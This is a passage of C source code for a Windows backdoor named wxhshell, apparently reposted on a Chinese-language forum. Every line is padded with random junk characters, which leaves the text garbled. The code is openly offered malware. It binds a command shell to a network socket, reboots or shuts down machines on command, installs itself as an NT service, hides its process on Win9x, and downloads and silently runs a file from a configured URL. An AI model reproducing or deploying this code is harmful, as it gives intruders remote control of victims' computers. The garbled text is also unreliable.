  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s* 9tWSd  
  } iI&SI#; _  
  else { ^J% w[FE  
#UND'c(5  
    switch(cmd[0]) { <2cq 0*$  
  HTqikw5X  
  // 帮助 ?7&VT1  
  case '?': { A v2 _A  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3C,e>zE}  
    break; 5 (H; x74  
  } 0jq&i#yNB  
  // 安装 * )]SsM1  
  case 'i': { BC$In!  
    if(Install()) s?Q`#qD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D"x~bs?V\  
    else q }z,C{Wq<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zx'`'t4~  
    break; iBUf1v  
    } T[Gz  
  // 卸载 6  09=o+  
  case 'r': { }= <!j5:  
    if(Uninstall()) RTl7vzG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NZlJ_[\$C  
    else q',a7Tf:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8%xtb6#7M  
    break; #kb(2Td  
    } !-MG"\#Wq  
  // 显示 wxhshell 所在路径 9q8 rf\&  
  case 'p': { |x5 w;=  
    char svExeFile[MAX_PATH]; A`N;vq,  
    strcpy(svExeFile,"\n\r"); ;,4J:zvZdQ  
      strcat(svExeFile,ExeFile); |u}sX5/q  
        send(wsh,svExeFile,strlen(svExeFile),0); Cn`% *w  
    break; t3s}U@(C  
    } JnsXEkM)  
  // 重启 gSe{ S  
  case 'b': { moo>~F _^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 41uS r 1  
    if(Boot(REBOOT)) HdnSs0 /  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ow^%n(Ezh  
    else { S i>TG  
    closesocket(wsh); U73`HDJ  
    ExitThread(0); 6nq.~f2`  
    } rRt<kTk!U  
    break; =p7W^/c  
    } EEo+#  
  // 关机 .A `:o  
  case 'd': { fzio8m KVX  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +_}2zc4  
    if(Boot(SHUTDOWN)) R;.WOies4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :YI>AaYWDO  
    else { G7=8*@q>:  
    closesocket(wsh); a #0{tZd  
    ExitThread(0); h n ]6he  
    } =lmh^**4  
    break; JR>B<{xB  
    } .z4FuG,R  
  // 获取shell !*ucVv;  
  case 's': { 0ND7F  
    CmdShell(wsh); O0l;Qi  
    closesocket(wsh); ixH7oWH#  
    ExitThread(0); K*}j1A  
    break; W2B=%`sC  
  } *Xnq1_K}  
  // 退出 ?-Z:N`YP  
  case 'x': { KWH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Arv8P P^'  
    CloseIt(wsh); !'MD8  
    break; zF$wz1 %  
    } 1e+?O7/  
  // 离开 1&As:kv5I  
  case 'q': { a[!d)Y:zx  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y'~&%|9+T  
    closesocket(wsh); c,fedH;  
    WSACleanup(); 18HHEW{  
    exit(1); _t[%@G>P  
    break; !Yf0y;e|:  
        } W!^=)Qs  
  } Yt'o#"R)  
  } sg2C_]i,H  
j%h Y0   
  // 提示信息 .0ZvCv:>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CUG<v3\  
} tSYnc7  
  }  M:$nL  
Og npzN  
  return; K!~ ](_W!  
} ?n+\T'f!  
q<8HG_  
// shell模块句柄 ~>R)H#mP7  
int CmdShell(SOCKET sock) [<;2C  
{ lq5E?B  
STARTUPINFO si; BkeP?X  
ZeroMemory(&si,sizeof(si)); F"C Yrt  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; el%Qxak`"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sJlKN  
PROCESS_INFORMATION ProcessInfo; BYf"l8^,  
char cmdline[]="cmd"; 7EXmmB~>,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !;a<E:  
  return 0; i5"q1dRQ  
} 19t*THgq  
c%!wKoD  
// 自身启动模式 Uf<vw3  
int StartFromService(void) 8(;i~f:bCW  
{ f+Go8Lg=M  
typedef struct a40BisrD~6  
{ >KFJ1}b|3  
  DWORD ExitStatus; F)w83[5_d  
  DWORD PebBaseAddress; 8IH gsW";  
  DWORD AffinityMask; c53`E U  
  DWORD BasePriority; T1&H!  
  ULONG UniqueProcessId; :JIPF=]fc  
  ULONG InheritedFromUniqueProcessId; t} M3F-NZ  
}   PROCESS_BASIC_INFORMATION; J|IDnCK  
6hq)yUvo4  
PROCNTQSIP NtQueryInformationProcess; ;p ('cwU%  
+bn w,B><  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; aB)DX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U*TN/6Qy.  
s`YuH <8  
  HANDLE             hProcess; F! e`i-xt  
  PROCESS_BASIC_INFORMATION pbi; 0Kk*~gR?  
pH [lj8S  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U;@jl?jnG  
  if(NULL == hInst ) return 0; Se`N5hQ  
($W 5fbu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gEsR-A!m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /f<(K-o]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i#=X#_ +El  
@k,(i=**  
  if (!NtQueryInformationProcess) return 0; 3(&F.&C$$  
bn35f<+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M(uB ;Te  
  if(!hProcess) return 0; Gf\_WNrSE+  
$O8V!R*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <UdD@(iZ#  
~S!kn1&O  
  CloseHandle(hProcess); `qz5rPyZ  
{eEWfMKIn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *Rh .s!@4  
if(hProcess==NULL) return 0; !.$P`wKr  
[#Vr)\n  
HMODULE hMod; pQ{t< >  
char procName[255]; w"iZn  
unsigned long cbNeeded; I+t38 un%  
T}[vfIJD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G{~p.?f:  
"n, ZP@M;  
  CloseHandle(hProcess); }8: -I Nj4  
SGd.z6"H  
if(strstr(procName,"services")) return 1; // 以服务启动 pe})A  
Q{hOn]"  
  return 0; // 注册表启动 hp4(f W  
} %Qz`SO8x?  
;%alZ  
// 主模块 DG?\6Zh  
int StartWxhshell(LPSTR lpCmdLine) TWEqv<c  
{ YO0x68  
  SOCKET wsl; Ue:T3jp 3%  
BOOL val=TRUE; `kSCH; mwP  
  int port=0; Xy<f_  
  struct sockaddr_in door; {fv8S;|u  
oZ:F3 GQ4Q  
  if(wscfg.ws_autoins) Install(); neFno5dj  
{{%8|+B  
port=atoi(lpCmdLine); D  .R  
s'Gy+h.  
if(port<=0) port=wscfg.ws_port; "Cj#bUw  
i6 ?JX@I  
  WSADATA data; RgA4@J#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jgw'MpQm{  
d<? :Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Aq'E:/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5yi q#  
  door.sin_family = AF_INET; .@-]A   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !!%nl_I(  
  door.sin_port = htons(port); m (:qZW  
>C&<dO#i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M~F2cX W  
closesocket(wsl); $ _Bu,;  
return 1; / i2-h  
} 4(GgaQFO?  
WCTW#<izm  
  if(listen(wsl,2) == INVALID_SOCKET) { C*e[CP@u  
closesocket(wsl); g 'a?  
return 1; 72vGfT2HtZ  
} vcU\xk")  
  Wxhshell(wsl); 6XK`=ss?  
  WSACleanup(); %P,^}h7  
GSnHxs)  
return 0; @M^Qh Hs  
PVc|y.  
} To%*)a  
'N ::MN  
// 以NT服务方式启动 W<]Oo]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T8TsKjqOZ  
{ S&]<;N_B  
DWORD   status = 0; '/gwC7*-&  
  DWORD   specificError = 0xfffffff; hcc-J)=m  
g4SYG)'R+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Yf)|ws?!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g] C3 lf-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  ^-*Tn  
  serviceStatus.dwWin32ExitCode     = 0; QN&^LaB<T  
  serviceStatus.dwServiceSpecificExitCode = 0; O[p^lr(B7  
  serviceStatus.dwCheckPoint       = 0; 0+y~RTAVB  
  serviceStatus.dwWaitHint       = 0;  ,bp pM  
<O)X89dFM  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u4M2Ec  
  if (hServiceStatusHandle==0) return; C{i;spc!bi  
=&:f+!1$  
status = GetLastError(); T1!Gr!=  
  if (status!=NO_ERROR) C*6)Ut '  
{ y&=19 A#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %<#3_}"T|  
    serviceStatus.dwCheckPoint       = 0; ^*ez j1  
    serviceStatus.dwWaitHint       = 0; @:QdCG+  
    serviceStatus.dwWin32ExitCode     = status; gIM'bA<~  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9.OwH(Ax7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 15T[J%7f  
    return; 9AddF*B  
  } )'dH}3Ba  
R{KIkv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q;0&idYC  
  serviceStatus.dwCheckPoint       = 0; 9f%y)[ \  
  serviceStatus.dwWaitHint       = 0; O0(Q0Ko  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ! }?jCpp  
} x`6^+>y^  
JrWBcp:Y  
// 处理NT服务事件,比如:启动、停止 jo3}]KC !  
VOID WINAPI NTServiceHandler(DWORD fdwControl) B"Kce"!  
{ P ^<0d'(  
switch(fdwControl) {AL9o2  
{ akCo+ @  
case SERVICE_CONTROL_STOP: ME@6.*  
  serviceStatus.dwWin32ExitCode = 0; h 4.=sbzZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $#ju?B~  
  serviceStatus.dwCheckPoint   = 0; SP?U@w%}  
  serviceStatus.dwWaitHint     = 0; N|O]z  
  { +\8krA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n$|c{2]=  
  } zvb} p  
  return; 9}jq`xSL  
case SERVICE_CONTROL_PAUSE: !+DJhw&c,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; SM#S/|.]  
  break; ]\ 2RV DC  
case SERVICE_CONTROL_CONTINUE: 27 145  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;!JX-Jq  
  break; i$^B-  
case SERVICE_CONTROL_INTERROGATE: Q$h:[_v  
  break; "3i80R\w`F  
}; 2 ssj(Qo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fxoi<!|iGY  
} Ag4Ga?&8ec  
YyJ{  
// 标准应用程序主函数 .F$|j1y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 87pXv6'FQ  
{ Sa1z,EP  
*zVLy^L_8  
// 获取操作系统版本 >AzWM .r  
OsIsNt=GetOsVer(); 7}cDGdr  
GetModuleFileName(NULL,ExeFile,MAX_PATH); y-\A@jJC5  
<k\H`P  
  // 从命令行安装 g;!@DVF$  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?X#/1X%u:  
z(` }:t  
  // 下载执行文件 bA<AG*  
if(wscfg.ws_downexe) { -?YTQ@ W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5%Oyvt]}2  
  WinExec(wscfg.ws_filenam,SW_HIDE); KW|\)83$  
} 2Jo~m_  
0 oj{e9h  
if(!OsIsNt) { }\u%)uZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 :IVk_[s  
HideProc(); 8hKP  
StartWxhshell(lpCmdLine); w*u{;v#  
} 8 ih;#I=q  
else ]C ~1]7vb  
  if(StartFromService()) bH\C5zt6(  
  // 以服务方式启动 7*>S;$  
  StartServiceCtrlDispatcher(DispatchTable); :`Uyn!w  
else oO#xx)b  
  // 普通方式启动 (\T0n[  
  StartWxhshell(lpCmdLine); I& M36f  
jH&_E'XMX  
return 0; _))I.c=v  
}
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只看该作者 1 发表于: 2006-10-10
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